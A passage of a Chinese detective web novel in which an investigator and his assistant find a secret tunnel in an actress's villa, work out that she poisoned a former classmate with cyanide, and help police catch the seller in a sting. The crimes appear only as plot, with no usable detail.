程述没问原因,接过手电筒打开江绮卧室里的抽屉小心翼翼地翻找,没过多久,就把一截透明胶递到她手里。
祝好用透明胶贴在那块木板上往上一扯,很快就把木板掀开,发现下面居然藏着一个按钮。
“老大,你来看看这个。”
程述凑上前看了一眼,皱了下眉头,摁下按钮。
下一秒,书柜竟缓缓移开,一扇木门出现在眼前的墙上。
江绮的卧室已经是走廊尽头的最后一间,也就是说,这面墙之后就是别墅之外了,为什么还会有一扇木门?
程述把祝好拨到身后,先用手电筒往里照了照,发现门后竟是一道蜿蜒的阶梯——看起来,像是个藏在别墅里的暗道。
祝好跟程述对视了一眼,问道:“它会通往哪儿?”
程述:“走下去看看不就知道了,跟在我身后。”
祝好点点头,打开手机上的直播看了一眼,颁奖典礼才刚举行到一半,江绮一时半会儿不会回来,他们的时间还很充裕。
手电筒的光束照亮前方的路,细小的尘埃漂浮在空气中,祝好跟在程述身后拾阶而下,脚步声一前一后交叠着回荡在逼仄的空间里。
这段蜿蜒的阶梯并不算长,估摸着也就是二楼到一楼距离,走到最后一层阶梯后,紧接着就是一条漆黑的通道。
相比起阶梯,这条通道显得更狭窄了,连祝好都要稍稍低着头才不至于撞到脑袋,程述的身高更是要猫着身子才能艰难前行。
走到尽头后,程述一手撑着墙,用手电筒往周围照了一圈。脚下有些许枯枝落叶和泥土,看样子是近期才刚刚出现的,头顶正上方则是一扇被锁住的门。
门缝中能听到细微的风声,也就是说,这条通道应该能从江绮的卧室里通到别墅之外。
程述照亮门上的锁,还没开口,祝好就已经从头上拆下发夹递到他面前,并从他手里接过了手电筒给他打光。
程述:“……你还真够自觉的。”
那把锁看起来有些年头了,并不是新换上的,程述把发夹掰直,在锁眼里鼓捣了一阵子,随着“咔嗒”一声轻响,锁开了。
他把门用力往上一顶,带起一阵风,裹挟着落叶呼呼往通道里灌。
他探头往外看了一眼,两条胳膊撑住地面往上一跃,然后伸手把祝好拉了上去。
如他们所料,这条通道的确直通别墅后面的一片小树林。这片树林鲜少有人路过,那扇镶嵌在地上的门又被伪装成跟泥土差不多的颜色,上面覆盖了厚厚的落叶,根本不会被人注意到。
江绮之前说过,这栋别墅已经有几十年历史了。
这条隐蔽的地下通道,多半是之前的房主不知出于什么原因私自挖通的。但随着房屋不停转手出售,这个经年久远的秘密也随着时间流逝被人遗忘,只有身为屋主人的江绮才知道。
不过祝好一时没想明白,如果这条通道就是隐藏线索,那又跟案子有什么关系呢?
程述蹲在地上,仔细观察周围的痕迹,沉吟片刻,说道:“还记得我们在江绮家呆的最后一个晚上吗?”
祝好点点头,那个晚上不知怎么的,她睡得特别沉,直到第二天起床还觉得头昏脑涨。
听他这么一说,祝好突然闪电般地意识到什么:“江绮不会在那杯茶里给我下了药吧?”
程述不置可否:“如果你是第一次服用安眠药,的确很容易在第二天出现头晕、乏力、恶心的副作用。”
同样是那天晚上,阮玉雯家里的牛奶被人放入了氰/化物,导致第二天清晨她喝下牛奶后,没多久就停止了呼吸。
虽然警方认为阮玉雯的前夫陆正光有重大作案嫌疑,但他一直否认自己的罪行,也无法说出自己究竟是怎么弄到氰/化物的。
氰/化物并非随便在市场上能买到的东西,渠道和钱缺一不可。陆正光是个赌徒,甚至想到要用七年前的秘密去勒索江绮要钱,他真的有足够的财力去购买氰/化物吗?
再者,使用投毒这一方式杀人的人,一般都会十分谨慎、应变能力很强。
陆正光曾经有过家暴阮玉雯的前科,说明他易怒且很难控制自己的情绪,这样一个崇尚用暴力解决问题的人,如果真的有心杀死阮玉雯,应该会采用更直接的方式,而非投毒。
如果陆正光没有杀害阮玉雯,那么只有一种可能——真正的凶手就是江绮。
她苦苦哀求程述和祝好最后陪自己一晚上,并非是因为害怕。她需要的,是一个不在场证明。
至于她杀害阮玉雯的原因,祝好也有了推测。
一开始,江绮并不知道当年的秘密除了她、孟洁和阮玉雯之外还有其他人知道,于是在收到那张“我回来了”的纸条以及频繁出现幻觉后,她开始怀疑是孟洁和阮玉雯的其中一人搞的鬼。
身为知名演员,这个秘密一旦被其他人知晓,无异于一枚威力十足的炸弹,足以摧毁她的职业生涯。
孟洁心脏病发作身亡后,江绮的怀疑对象就只剩下阮玉雯。
她必须守住这个秘密,让它无法见天日。
那天晚上,她找借口把程述和祝好叫到家里,给祝好喝下了掺着安眠药的薰衣草茶,趁着夜深人静时通过这条秘密通道从卧室离开别墅,前往阮玉雯家与她对
质。
或许她们之间发生了什么冲突,又或许她们的谈话并不愉快,总之,江绮趁她不备在牛奶中加入了事先准备好的氰/化物,随后若无其事地离开,回到别墅里。
祝好后知后觉地想起,其实一切早有端倪。
——比如“见鬼”的原因还没查明,江绮却突然中止了委托。
——比如她明明说自己前一晚睡得很好,却还是疲惫不堪,眼下的黑眼圈十分明显。
——比如那天她开门看到警察时,神色明显变得很慌张,在得知警察是来找连阿姨之后,才微不可察地松了口气。
只是当时他们先入为主认为陆正光就是杀害阮玉雯的凶手,所以并未察觉这些细微的蛛丝马迹,直到隐藏线索的出现,才牵扯出背后更深层次的真相。
程述给通道口拍了张照片后,把手机揣回兜里,率先跳回通道。
祝好学着他的样子往下跳,刚到半空中身体就被一双手牢牢接住,然后整个人稳稳落地。
站稳后,祝好低声问他:“老大,我们是不是要通知秦聿风过来查啊?”
程述把手电筒叼在嘴里,关上门,将那把锁恢复原样,转过身时十分自然地拍了拍她背上的灰尘,低低地笑了一声:“你是不是忘了你现在是非法入侵他人住宅?”
祝好一噎,刚才太兴奋,还真的差点儿忘了这茬。
沿着通道往回走,顺着阶梯回到了江绮的卧室。程述关上木门,摁下书柜上那颗按钮。
书柜缓缓关合后,他们又把卧室里的东西归置好,并把所有可能留下的痕迹都清理干净,包括外墙的梯子和围墙上的鞋印。
确认一切恢复原样后,才从江绮的别墅离开。
祝好手肘撑着一侧车窗,幽幽地叹了口气。
虽然通过隐藏功能发现了秘密通道,但也没办法证明江绮就是杀害阮玉雯的凶手,更何况他们还是通过不合法的手段进行的调查,根本无法当作破案的线索。
退一万步说,就算秦聿风相信他们的话,大发慈悲没把他们抓起来,警察也不能在没有任何证据支撑的情况下无故进江绮家里进行搜查。
难道就没有别的办法把江绮绳之以法了吗?
祝好心念微动,突然有了想法:既然购买氰/化物是一笔交易,那自然涉及到买卖双方。
虽然不知道江绮是如何找到卖家的,但如果反过来,只要找到卖家,就能顺藤摸瓜拿到江绮购买氰/化物的证据。
想要弄到氰/化物,钱和渠道缺一不可。
前者江绮不缺,后者对她来说或许也不难——毕竟身为知名演员,她的人脉一定很广,只要稍加打听,就能得知购买氰/化物的渠道。
说到人脉,祝好的脑海里出现了一个人。
她转头看向把着方向盘的程述,朝他露出一个狡黠的笑。
程述瞥了她一眼:“怎么了?”
“老大,我们先不回家,我想让你带我去找一个人。”
“谁?”
“李福满。”
程述似乎对这个答案早有预料,轻轻扯了下嘴角,在下一个路口调转了方向。
第163章
车开到李福满开的那家台球厅所在的骑楼附近,楼下的大排档刚开始营业,因为天气寒冷,原本放在路旁的折叠桌和塑料椅都移进了室内,玻璃门隔绝了呛人的炭火味和喧闹的人声。
跟上回来相比,整条街道寂静不少,只有寥寥无几的路人哈着气暖手,行色匆匆地路过。
沿着夹在两家店铺中间狭窄的楼梯上了二楼,隐约能看见台球厅透着亮光,里面不时传出一阵阵喧哗。
祝好透过玻璃门往里看了一眼,今天台球厅的客人倒是比上回多一些,不过之前那些小混混都不见了,只有顶着一头黄毛的刘二虎坐在收银里打游戏。
程述推门而入,径直走向柜台,屈指叩了叩桌面。
刘二虎沉浸在游戏中,头也不抬地说了句:“20块钱一小时,自己扫码付款……哎你是傻叉吧,这样打野能抓到人吗?”
程述伸手夺过他的手机,摁灭屏幕,反扣在柜台上。
“诶,你——”刘二虎刚要发火,抬头看到程述的脸,倏地站起身,到了嘴边的话陡然转了个音:“你来啦程哥、嫂子,是要找满哥吗?”
程述拍了拍他的脑袋,逗他说:“二狗今天挺聪明啊。”
“二虎,猛虎下山的虎。”刘二虎认真地纠正了一句,然后道:“满哥在员工休息室呢,我去把他叫出来。”
程述:“休息室在哪儿,我进去找他就行。”
“不用不用!”刘二虎着急忙慌从柜台后面绕出来,搬了两张塑料椅子给他们:“你们坐着等会儿,我去叫他。”
不等程述回应,他就转身一路小跑进了一个房间。
没过多久,穿着皮衣和花衬衫、戴着大金链子的李福满就耸肩搓手、满脸堆笑地从房间里出来了:“程哥!这回大驾光临,又有什么事儿吗?”
程述翘着二郎腿对他笑:“没事儿我就不能来看看你啊?”
“瞧你说的,当然能了。”李福满推了推刘二虎:“赶紧给程哥和嫂子倒杯茶。”
程述抬手制止了他:“不用了,我就是来问点事。”
李福满拉了张椅子在他前面坐下,两只手规规矩矩地搭在膝盖上:“你说,你说。”
程述拍了拍他的手背,亲切地问道:“最近还卖假药吗?”
李福满一拍大腿,嗐了一声:“不是说了吗?我早就已经金盆洗手不碰那玩意儿了!”
程述:“我怎么记得上回你也是这么说的。”
“就是你上回来找过我之后,我认真地反思了一整个晚上,简直为自己的所作所为感到深恶痛绝、痛心疾首,所以我发誓要浪子回头、洗心革面、痛改前非,成为一个对社会有用的人。”
看着他搜肠刮肚,几乎要把毕生所学的成语都用上,祝好差点绷不住笑出来。
李福满正色道:“嫂子你别笑,我李福满可是很认真的。”
程述一言不发,目光在他脸上转了一圈,随即投向他刚刚出来的那个房间。
李福满察觉到他的视线,脸色一变,立刻起身摁住他的肩膀,陪着笑道:“程哥,嫂子,好不容易有空来一趟,不如我们去魅享party楼上的洗浴中心泡个脚吧,我请客。”
程述笑着捏了捏他的肩膀:“不用,我哪舍得让你破费呢?说起来,我还没参观过你这里呢。”说完突然起身,径直走向那个房间。
李福满一惊,赶紧往前几步撵上他的步伐,张开双臂拦在门口,朝着门上“闲人免进”的牌子努了努嘴:“诶,诶,程哥!这里是员工休息室。”
程述哦了一声,恍然道:“原来我是闲人啊。”
李福满连忙装模作样地“tui”了一声:“不不不,我不是那个意思,我只是……程哥,能不能给我一点儿……隐私?”
程述全当没听见,一把将他推开,拧动门把手。不出所料,门已经从里面被反锁了。
他斜睨着李福满:“让里面的人开门。”
李福满欲哭无泪:“程哥!”
“我数到三。”程述后退几步,微微抬腿,鞋尖摁在地上碾了一圈:“三。”
李福满下意识摁住他的大腿,又触电般挪开手,讪笑道:“您别踹,不然伤着腿嫂子会心疼的。”
对于“嫂子”这个名号,祝好已经放弃反驳了,她配合地摇了摇头:“我不心疼,尽管踹。”
程述:“二。”
“别别,别踹,我开!”李福满毫不掩饰地哀叹一声,估计心里十分后悔今天出门时没看黄历,怎么莫名其妙又把这位大爷给招来了。
他敲了敲门,说了句“开门”,下一秒,员工休息室的门打开了。
这间休息室不足十平米,茶几上堆着不少拇指大小的小瓶子,瓶子里装着透明的液体,七八个头发染得花里胡哨的年轻男人正围坐在一起往瓶子上贴标签,祝好认出其中几个就是之前见过的那些小混混,也就是李福满的小弟们。
程述大剌剌走进去,一屁股在茶几上坐下,随手拿起一个贴好标签的小瓶子,一字一顿念出上面的字:“听,话,水。”
他话音一顿,抬起头来看向李福满,慢条斯理地说:“李福满,不是金盆洗手了吗?”
李福满苦笑:“程哥,你听我狡……啊不,解释。这都是假的,没用的!”
“是吗?”
“真的,我不骗您!”李福满从他手里拿过瓶子拧开瓶盖,毫不犹豫仰头一饮而尽,把瓶口朝下晃了晃,压低声音说:“你看,真的没事,里面装的都是矿泉水。”
程述定定地看了他好一会儿,确认他完全没有异常后,才相信了他的话,问道:“这些玩意儿你卖给谁?”
“就附近那些酒吧ktv的客人,你不懂,来买这玩意儿的人就没安好心,总想着偷偷放进
小姑娘的饮料里。我把这个卖给他们,他们不仅破了财,还骗不到小姑娘,虽然我这方法比较另辟蹊径,但也算是好人好事啊!”
神特么好人好事。
程述笑了笑:“这么说,我是不是还得给你发个锦旗?”
李福满被他笑得心头发瘆,不自觉打了个寒战,举双手投降:“锦旗就不用了,别抓我就行。”
“好了,不逗你,我就问你个事。”程述和颜悦色地拍了拍他的胳膊:“你这儿有没有氰/化物?”
李福满连忙摆手:“程哥,这话可不能乱说。我顶多卖点假药骗人,从来不碰那些害人的玩意儿。”
程述问:“那你知不知道有谁能弄到?”
李福满一愣,随即坚定地摇头:“不知道。”
程述忽地敛起笑容,偏头看他,语气冷硬了一些:“真不知道?”
李福满喉结一滚,嘴角轻轻抽了抽,还是坚持:“真不知道!”
程述又随手拿起一个药瓶把玩,意味深长地啧了一声:“不是我说,李福满,你卖这玩意儿牟利算是欺诈行为啊,再严重点儿,就是生产、销售伪劣产品罪了。”
李福满满头大汗,双手搭在膝盖上摩挲着自己的膝头,像是犹豫了很久,才终于下定决心说:“好吧,我知道有谁在卖。”
“谁?”
李福满没说话,朝刘二虎使了个眼色。
刘二虎意会,招呼屋里的那群小混混离开了员工休息室,并把门给锁上了。
休息室里只剩下祝好、程述和李福满三个人,李福满起身把门反锁,这才开口:“他叫关海,那家伙不要命的,倒腾的都是些违禁品,不止是氰/化物,只要出得起价,什么危险的东西他都能弄到。”
他又补充了句:“程哥,你懂的,我怕死,我可不敢随便碰那些东西,顶多就是卖卖这些假药了,伤天害理的事我李福满是绝对不做……”
程述打断了他掏心掏肺的肺腑之言:“帮我把他约出来。”
李福满一愣,面露难色地挠了挠头:“这……”
程述拍了拍他的肩膀,递上一个和蔼的微笑,他这才极不情愿地从兜里掏出手机,拨通了一个号码。
“喂,海哥吗?我李福满,我这有个客户想跟你拿点东西……放心,是我的老客户了,绝对信得过,不然我也不会介绍给你啊……什么时候要?等等,我问问。”
他看向程述,程述飞快在手机上摁下一行字,把屏幕转向他。
他意会,回道:“今晚十二点半吧,行吗?地址你定。”
对面似乎给出了答复,李福满应了声“好”,挂断了电话,长舒一口气,对程述说道:“魅享party的后巷,十二点半他会在那里等你。”
程述慢悠悠站起身,轻轻拍了下李福满那头靠致死量发胶撑起来的头发:“发型不错。”
李福满一脸苦相,丝毫笑不出来,忍不住提醒他:“程哥,那家伙很谨慎,你最好多找几个人。还有……道上的规矩你知道,可千万别把我给点了。”
程述淡淡地嗯了一声,转身离开了员工休息室。走到门口又回过头,指了指桌上那一堆小瓶子:“这些……”
李福满一心想着赶紧把这位爷送走,双手合十朝他拜了拜:“我知道,我知道,马上处理。”
离开台球厅也才十一点出头,程述拿出手机给秦聿风打了个电话:“喂,老秦,我给你发个定位,你带几个人过来一趟。”
秦聿风被他这一通没头没尾的电话弄得有些无语:“干什么?”
程述:“干什么?当然是帮你钓鱼了。我找到了一个卖氰/化物的家伙,时间地点已经约好了,你们来帮我堵着他就行。”
秦聿风短暂地沉默了一下:“行,我现在带人过去。”
第164章
台球厅楼下的大排档正是最热闹的时候,程述找了张能容纳七八个人的桌子坐下,问服务员要来菜单,点了满满一桌烤串。
烤串刚送上桌不久,大排档的玻璃门就被推开了,秦聿风带着五六个警员走了进来,左右张望着寻找他们的身影。
祝好举起手中吃了一半的烤牛肉朝他们挥了挥:“这儿!”
大排档里人很多,闹闹哄哄的,桌子椅子交错摆放,挨得很紧,秦聿风和几个警员艰难地绕了半天才挤到他们这一桌。
他先是对祝好笑了笑,转向程述时,又换上一副无奈且疑惑的表情:“不是让我来堵人吗?怎么还吃上烤串了。”
“急什么,这不还没到时间吗?”程述不慌不忙地指了指桌子旁的几个空位:“坐下说。”
秦聿风看了一眼手腕上的表,离十二点半还有一个来小时。他无奈地提了提裤腿,在程述身边坐下。
几个警员面面相觑片刻,也纷纷围着桌子坐了下来。
看他们一个个正襟危坐,程述又大方地招呼道:“愣着干嘛,吃啊,我特地连你们的份一起点了。”
烤串的香味源源不断钻进鼻腔,几个年轻小伙子早就已经食指大动,直到他们的秦队默许地点了点头,才迫不及待拿起桌上热气腾腾的烤串大快朵颐。
就着周围一片沸反盈天,秦聿风问程述:“你怎么突然想起来要查卖氰/化物的人?”
程述笑了笑,敷衍答道:“心血来潮,想帮你拉点业绩不行吗?”
秦聿风给自己倒了杯可乐,换了个话题:“帮我拉业绩没问题,但你怎么能肯定陆正光是从他那儿买到的**?”
程述还是没回答,反问道:“你有没有想过杀
害阮玉雯的另有其人?”
秦聿风举到半空中的杯子停住了:“老程,祝好,你们到底查到什么了,连我都不能说吗?”
祝好没应声,心说如果告诉秦聿风自己眼前突然出现了一个放大镜,放大镜告诉她江绮的房间有隐藏线索,他们顺着线索找到了一条秘密通道,推断出江绮才是杀害阮玉雯的真凶,难道秦聿风会相信吗?
当然不会。
程述放下竹签,慢条斯理地抽了张纸巾擦嘴:“我就是随便那么一提,先找到那个卖氰/化物的家伙吧。整个淮江市敢倒腾这玩意儿的人不多,就算不是他,也能顺着他摸到源头。”
他本就不是什么循规蹈矩的人,向来不喜欢被规则束缚,离开警队这些年,早就发展出了自己的一套关系网,以及和警方完全不一样的调查手段。
秦聿风了解他,他不想说,自然有他的理由;只要他做的事没踩线,秦聿风也就睁一只眼闭一只眼。
说话间,桌上的烤串已经被警队的几个小伙子一扫而光,祝好本来也不饿,只是随便吃了几串解解馋。
程述抬手叫来服务员结账,服务员应了一声,拿着账单走到桌前算了一下,问道:“你好,一共578元,怎么支付?”
程述把胳膊搭在秦聿风的肩膀上,朝他挑眉:“秦队,怎么支付?”
秦聿风一脸的“我就知道你叫我来这儿没好事”,但也没说什么,掏出手机付了款。
从大排档里出来,距离约定的时间还有半个多小时。
这一带聚集着众多酒吧和娱/乐城,面向的消费者都是中低端人群,加之周围都是城中村,长此以往,就形成了龙蛇混杂、牛骥共牢的现状。
每当夜幕降临,黑暗角落里就开始滋生出不为人知的腐朽和颓败。
秦聿风派了几个警员把魅享party附近的路况摸了一遍,发现这里格局十分复杂,条条巷子四通八达,易于躲藏,又没有监控,难怪关海会把见面的地点选在这儿。
把几名警员分配到各个巷子口蹲守后,剩下的两个路口秦聿风和程述一人守一个正好,但这样一来,就没人去跟关海进行交易了。
秦聿风正为难,祝好举起手主动提议:“让我去吧。”
她倒不是逞强,也不是想出风头。
就算是钓鱼执法,警察也不能在没有证据的情况下随便抓人,所以最好是在交易的过程中来个人赃并获。
李福满也说了,关海倒腾的都是要命的玩意儿,本就十分谨慎,而不管是程述、秦聿风还是其他年轻警员皆是人高马大,面对这样的交易对象,他的警惕性一定会更高。
但祝好从外表上看只是个手无寸铁的小姑娘,看起来不会造成任何威胁,或许能降低关海的戒心,让交易顺利进行。
秦聿风想也没想就拒绝:“不行。”
“可是……”
她话还没说完就被秦聿风态度强硬地打断:“太危险了,待会儿你在车上等着就行。”
程述笑着勾住秦聿风的肩膀:“老秦,你是不是看不起我的助手啊?別忘了她之前可是一个人干翻了两个绑匪。”
秦聿风皱了皱眉:“那不一样。”
程述顺着他的话音点点头:“是不一样,这些人做的都是见不得人的勾当,警惕性虽然强,但就像阴沟里的老鼠,有点动静只会四处逃散,不会主动伤人,还没那两个绑匪有威胁。”
秦聿风还想说什么,程述点了点手腕,把他的话截断了:“时间快到了,给她个耳麦,我们就在附近守着,一收到信号就行动。她很聪明,知道怎么保护自己,你不用替她操心。”
他说的有道理,关海并非什么亡命之徒,遇到不对劲的情况时,逃跑对他来说是最优选择,就算让祝好去跟他交易,也不会有什么危险。
时间紧迫,秦聿风略一思忖,迅速做出决定:“行,你守这头,我去那边。”
程述接过警员递来的耳麦,塞进祝好耳朵里,又捋了捋她耳边的头发将耳麦遮住,低声道:“我就在你左手边第一个路口,如果觉得有危险就往这边跑。”
祝好点点头。
警员们四下分散,都到了指定的地点蹲守,祝好一个人来到魅享party的后巷里,背靠着墙,等待关海的出现。
很快就到了跟关海约定交易的时间,没过多久,一阵摩托车的引擎声由远而近,停在后巷的两个垃圾桶旁边。
祝好循声望去,车上的人穿着一件黑色棉衣,戴着摩托车头盔,半张脸隐在头盔的阴影里,看不清长相。
停好车后,他没有熄火,也没有看向祝好,而是慢悠悠从口袋里掏出一包烟兀自点燃。
直觉告诉祝好,他就是关海。
她往前两步走到摩托车旁边,试探性问道:“你是关先生吗?”
一道目光从头盔的护目镜后面瞥向她,不紧不慢地回答:“不是,你认错人了。”
祝好愈发笃定自己的想法,索性开门见山:“是满哥介绍我来的,他说……你可以弄到那个东西。”
香烟的白雾在冬夜冷冽的空气中徐徐消散,过了半晌,关海才幽幽地问道:“你跟李福满怎么认识的?”
祝好:“满哥是我们那儿的常客。”
李福满也算是这一片小有名气的混混头子,只要是认识他的人,应该会知道他经常出入附近的酒吧和娱/乐城。
关海抬起护目镜扫量着祝好,果然没有起疑,又问:“那个东西,你要来干什么?”
祝好低下头,双手环抱着自己,把声线拿捏得柔弱又楚楚可怜:“我男朋友总是打我,我实在受不了了,想给他点教训。”
关海问:“你知道那玩意儿会要命吗?”
“我知道,可是我已经没有其他办法了,不管我逃到哪里他都能把我找回来……”
祝好啜泣了几声,又急切地补充了一句:“我有钱,多少钱都可以,或者你还有其他办法可以帮我弄死他也行。”
一根烟抽完,关海把烟屁股扔在地上,用鞋底踩灭,意味深长地说:“你很可能被警察逮到。”
祝好明白了他的意思,他担心的是如果她被逮到,就会有可能把他供出来。
她抹掉好不容易挤出来的两滴眼泪,说道:“我从电影里学到一个方法,只要把东西放进胶囊里,就能延迟药效发作的时间,出国的机票我也已经买好了,这回我一定要离开他。”
关海终于摘掉了头盔,朝她扬了扬下巴:“给我看看。”
祝好一时没反应过来:“看什么?”
他没说话,从兜里掏出一包烟,抖出一根夹在两指之间,嘴角扯起一个耐人寻味的弧度:“看你的伤口。”
祝好短暂地怔了一下,心念电转间,飞快搬出一套说辞:“哥,在这儿……不太方便吧,那个人渣专挑别人看不见的地方打。”
关海笑了笑:“我家就在这附近,家里有跌打药。你跟我回家,我帮你看看。”
祝好看出了他的不怀好意,但没有拒绝,佯装羞赧四下看了看,低声道:“哥,那个东西你带了吗,我想先确认一下。”
既然是交易,那买卖双方都要有些诚意才行。
关海不疑有他,把烟叼在嘴里,拉开外套的拉链,从内口袋里掏出一个小瓶子在祝好面前晃了晃:“看到了吗?这玩意儿只要几秒钟,就能让你那男朋友停止呼吸。”
小瓶子里装着少许白色粉末,祝好想伸手去接,他却飞快把瓶子收回了口袋里,手摁在她的肩膀上,露出一个猥琐的笑:“走,跟我回去,我可以不要你的钱。”
祝好强忍住拍掉他的手的冲动,装作为难的样子思考了一下,才点点头:“好吧,那我上楼拿个东西,你在这儿等等我。”
关海关掉了引擎,朝她挥了挥手,算是默许了。
祝好拉开魅享party的后门,闪身走了进去。
门刚关上不久,就忽然听见巷子里传来一阵急促的脚步声,接着是摩托车沉重的倒地声和关海的叫骂。
过了一会儿,后门被打开,程述边拍着身上的灰尘边打量着祝好:“他没对你做什么吧?”
祝好摇摇头,目光越过他的肩膀,看到关海被两三个警员狼狈地摁在地上,反扣在身后的双手已经戴上了手铐,嘴里仍在不停骂骂咧咧。
秦聿风从他外套的口袋里找到了那瓶氰/化物交给警员,挥了挥手:“非法买卖、运输危险物质,带回去好好审。”
警员应声把关海从地上拽起来,带离了巷子。
秦聿风如释重负呼了口气,整理了一下衣服,又拍了拍程述的肩膀:“谢了啊,老程,人交给我们审就行,你们先回去休息吧。”
程述双手插在口袋里,浑不在意地耸了耸肩,朝祝好道:“走吧,加班结束了。”
祝好嗯了一声,把耳麦摘下来还给秦聿风。秦聿风忽然想到什么,示意她往旁边挪了几步,问道:“对了,祝好,我昨天说的事你考虑得怎么样了?”
祝好一愣,反应过来他说
的是搬家的事,实话实说:“我还没时间考虑呢。”
秦聿风想了想,低头在她耳边说:“不然这样,这几天要是没什么事的话,我带你去实地看一看?”
他似乎是不太想让程述听到这句话,所以靠得有些近,温热的气息拂过耳畔,祝好浑身僵了一下。
还没等她来得及回答,一只手从身后把秦聿风的脑袋推开了。程述哼笑了一声,声音懒洋洋的,听不出是玩笑还是正经:“秦聿风,你就是这么谢我的?”
秦聿风拍开他的手,偏过头对他笑:“一码归一码。”
“一码归一码?”程述一把薅住他的肩膀,似笑非笑地看着他:“既然这样,那老方法解决吧。”
第165章
三天之后,《演艺圈大动荡!知名女演员被捕内幕大揭秘!》《从星光熠熠到沦为阶下囚,j姓演员究竟所犯何罪?》《女演员被捕,牵扯出一段令人震惊的秘密》之类的新闻标题充斥着新闻和报纸的头版头条,引起了轩然大波,也成为了人群热议的焦点。
新闻中照片虽然打了马赛克,但祝好还是一眼认出那就是江绮,她身穿一套华丽的古装,显然是在拍戏时被带走的。
与此同时,系统终于响起了“恭喜您完成本阶段剧情任务”的提示。
程述的声音从厨房里传出来:“别看了,面做好了,先来吃。”
祝好应了一声,拍了拍白眼狼的屁股。白眼狼不情不愿地伸了个懒腰,从她腿上跳了下去。
程述端着两碗汤面放在餐桌上,奶白色的汤底衬着金灿灿的面条和鲜嫩的肉片,其间点缀着翠绿的葱花,香味随着袅袅热气扑鼻而来。
祝好接过他递来的筷子,忽然想起了什么,问道:“老大,这几天秦聿风都没联系你吗?”
程述在她对面坐下,搅拌着碗里的面条:“没有,估计忙着调查取证呢。”
也是,把关海带回去之后,必然要先审讯一番,再顺着他交待的线索一步步摸查下去,这个过程注定是忙碌且不轻松的。
祝好转头看了电视屏幕一眼,怅然咬着筷子喃喃道:“不知道江绮怎么样了。”
虽然剧情任务已经完成,但祝好还是对这个案子的细节有些好奇。
程述:“想知道就快吃,待会儿去警局一趟。”
祝好哦了一声,这才拈起一筷子面条送进嘴里,吃面的间隙一抬头,猝不及防对上了程述期待的目光。
“好吃吗?”
祝好嘴里塞着一半面条,一时说不出话,只能朝他竖起大拇指。
他似乎对这个答复颇为满意,飞快扯了扯嘴角。
祝好吞下包裹着浓郁汤汁的面条,说道:“老大,明天我做饭吧,你都连续做了好几天了。”
程述头也不抬,淡淡地说了句“没事”,又催促她:“快吃,再不吃面就坨了。”
*
警局里还是一如既往忙碌,敲开秦聿风办公室的门时,他正靠在办公室的椅子里翻看卷宗,脸上带着明显的倦意,不过看着心情很不错。
看来这几天虽然劳累,但是收获不小。
程述在饮水机打了杯水,坐在沙发上,问他:“那小子怎么说的?”
他指的是关海。
秦聿风回答:“他把最近几个买家的联系方式都给我们了,其中有一个人是江绮的助理,我们找到他时他都要吓尿了,说只是替江绮跑个腿而已,买的什么东西他根本不知道。”
警方重新调取了案发当晚阮玉雯家附近的交通监控,发现凌晨一点多时,江绮的车曾在附近出现过,监控也清晰地拍到了她的身影。
在证据面前,江绮无法抵赖,只得交待了所有犯罪事实。
她的动机跟祝好推测的差不多,一开始陷入幻觉和做噩梦时,她的确是恐慌的,也去找过很多医生甚至跳大神的看过,但始终找不到原因,这才找到了程述和祝好。
随后,她收到那张“我回来了”的纸条,当天下午又接到了多年未见面的孟洁打来的电话。在电话里,孟洁告诉她自己也同样做了噩梦并出现幻觉。
深埋在心底的秘密逐渐浮现出行迹,在强烈的心理暗示下,江绮梦到了当年因为她的私欲而跳楼自杀的麦苗,而孟洁的死讯更是令她更加惊慌失措,还以为真的是麦苗的灵魂前来复仇索命了。
知道这个秘密的人只有她和孟洁、阮玉雯,于是她给阮玉雯打去电话,想要试探性问问她最近有没有什么异样。
当年的事阮玉雯虽然也有参与,却是最被动的一个,这些年来,她一直活在愧疚之中,所以才会去麦苗的坟前忏悔。
加之这些年来,江绮跟孟洁都顺利毕了业,事业发展得如日中天,只有她不但早早因意外怀孕退学,只能在酒吧里当领舞赚取微薄的薪水,无论是生活和工作都无法与其他两个人相提并论。
明明是同样的起点,却因为一场意外走向不同的结局,她难免会生出妒忌之心,因此在接到江绮的电话时,她阴阳怪气地怼了江绮一通,说不管发生什么事都是她们咎由自取。
这些话让江绮心中起疑,便找人侧面打听了一下,得知阮玉雯因为前夫负债而刚刚离婚,开始怀疑一切或许都是她在暗中搞鬼。
她了解阮玉雯的性格,担心她真的会把事情说出来,于是托人购买了**,决定先下手为强,把阮玉雯毒死,也让这个秘密永远沉眠。
那天晚上她请求程述和祝好到家中陪自己,确实是为了给自己制造不在场证明——给祝好喝下的那杯水里掺了安眠药,在祝好沉沉睡去后,她通过房间里的暗道离开别墅,驱车前往阮玉雯的住址。
阮玉雯在酒吧上班,作息时间并不固定,所以那天江绮突然上门时虽然已是凌晨,但她也没有入睡。
秦聿风道:“江绮说那天其实没有下定决心要杀她,只是问她有什么困难,自己可以帮她解决,但阮玉雯不但没有接受她的‘好意’,还对她冷嘲热讽,说她现在的成就是踩着麦苗的命走出来的,并放言说总有一天会把这件事曝光,让所有人看清江绮的真面目。”
这些话让江绮彻底起了杀心,她好不容易才有了今天的成就,决不允许当年的秘密让事业毁于一旦,于是趁着阮玉雯上洗手间的功夫,戴上手套,把提前准备好的氰/化物倒进了她的牛奶里。
也不知是不是上天眷顾,正好阮玉雯的前夫早些时候也去找过她,不仅与她发生了激烈的争吵,还好巧不巧地在牛奶盒上留下了自己的指纹,这才误导了警方的调查方向,差点让真凶逍遥法外。
秦聿风把玩着手里的笔,问道:“诶,话说回来,你们是不是早就怀疑江绮了?”
程述不置可
否地耸了耸肩,没说话。
“可以啊你,都有秘密了。”秦聿风也没追问,伸了个懒腰,长舒一口气:“终于结束了,这几天可累死我了。”
程述忽然露出一个揶揄的笑:“这就结束了,秦队,你是不是忘了什么事?”
秦聿风微微一怔,随即反应过来,眼睛一眯,问道:“你来真的?”
程述身体往后靠在沙发上,朝他挑了挑眉:“忘了你没休息好,虚,要不要我让你两招?”
“用不着。”秦聿风起身一勾手:“走。”
祝好还沉浸在案子带来的慨叹中,一脸茫然地看着两个人对暗号似的你一句我一句,愣是没搞懂他们到底要干什么。但看着他们一前一后往外走,只得抬脚追了出去。
警局大楼后面有一片停车场,大部分警车这个点都出去执勤了,秦聿风指挥几名警员把剩下的车都挪走,空出了一块地方。
也不知消息是怎么传出去了,不一会儿,空地上就聚集了不少警员,纷纷交头接耳讨论着什么,有的人甚至已经举起了手机准备录像,连清洁工大叔也忍不住放下了手中的扫帚过来凑热闹。
